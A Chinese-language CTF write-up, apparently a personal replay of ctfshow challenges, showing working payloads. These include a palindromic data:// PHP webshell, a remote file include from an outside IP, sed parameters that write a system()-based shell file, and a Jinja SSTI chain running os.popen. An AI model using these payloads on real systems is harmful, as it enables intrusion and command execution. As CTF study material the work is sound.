0x00 前言
想起来之前比赛撞了 单身杯没打完 刚好来复现一下
0x01 brain.md
Web签到
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
}
data伪协议直接过 ?>截断就行
poc
data://text/plain,<?php system($_GET[1]);?>>?;)]1[TEG_$(metsys php?<,nialp/txet//:atad
file=http://1.15.67.48/data.txt?1==1?txt.atad/84.76.51.1//:ptth&1=whoami
远程包含用?参数包含也可
easyphp
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd);
}
三字长度命令 参数长度任意
函数说明
escapeshellcmd
(PHP 4, PHP 5, PHP 7, PHP 8)
escapeshellcmd — shell 元字符转义
说明 escapeshellcmd(string $command): string escapeshellcmd() 对字符串中可能会欺骗
shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符
之前进行转义。反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 "
仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
escapeshellarg
保证传入字符串
(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
说明 escapeshellarg(string $arg): string escapeshellarg()
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell
函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
sed
参考 sed教程
流程:
读取行 -> 执行 -> 显示 -> 读取行 -> 执行 -> 显示 -> … -> 读取行 -> 执行 -> 显示
sed工作流程
sed 从输入流 (文件、管道、标准输入流)中读取 一行 并存储在名叫 pattern buffer 的内部缓冲区中。
sed 还在内存上开辟了另一个私有的缓冲区 hold buffer 用于保存处理后的数据以供以后检索。每一个周期执行结束,sed 会清空 pattern buffer 缓冲区的内容,但 hold buffer 缓冲区的内容并不会清空。
hold buffer 缓冲区用于存储处理后数据,sed 命令并不会对这里的数据处理。
sed不用任何语句时可以直接输出源文件内容
本着需要什么学什么的初心
我们直接看payload来学习
cmd=sed¶m=/esca/d;s/shell_exec/system/g;w 1.php
sed支持正则匹配 /esca/匹配到 escape行 d 将其删除
sed语句用;间隔开
s字符串替换 shell_exec -> system
g为全局替换标志
g 标志通常称为 全局替换标志。
使用了全局替换标志的替换又称为 贪婪模式。
全局替换标志 g 的语法格式如下
[address1[,address2]]s/search/replacement/g
w 写入 -->可以看作cp的功能版
将payload组合
sed 'param=/esca/d;s/shell_exec/system/g;w 1.php' index.php
读取index.php 去除 esca… 行 全局替换shell_exec字符串 为 system
最后w 写入1.php
done
官方预期
cmd=sed¶m=/php\|POST\|exec/!d;w 1.php
看了教程 自己换了方式精简一下
sed '/php\|POST\|exec/ w 2.php' index.php
输出和1.php一样
awk
流程
开始 -> 读取 -> 执行 -> 读取 -> 执行 -> … -> 读取 -> 执行 -> 结束
可以看到begin 和 end语句只执行一次
AWK 命令行使用
AWK 最常见的使用方式就是在终端里直接输入 AWK 脚本。
awk [options] file …
在命令行里直接使用,我们需要讲 AWK 代码使用 单引号 ( ‘’ ) 引起来。
比如
awk ‘{print}’ employee.txt
打印出源文件
同样的从payload出发学习
嗝 原来能直接执行命令
awk '{system("whoami")}' index.php
但在web端看不到回显
拿着直接用写入的方式即可
文章参考
https://www.twle.cn/c/yufei/sed/sed-basic-regular-expressions.html
http://landasika.top/2022/05/25/ctfshow-dan-shen-bei/#web2_easyPHP
姻缘测试
/source拿到hint
waf
def is_hacker(string):
"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
if "{" in string and "}" in string :
return True
else:
return False
and判定 考虑前后花括号拼接,用单引号前后衔接
poc:
/result?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('whoami').read()}}
blog
夹娃什么的下次一定吧
这个坑一定补!
0x02 rethink
夹娃 夹娃 夹娃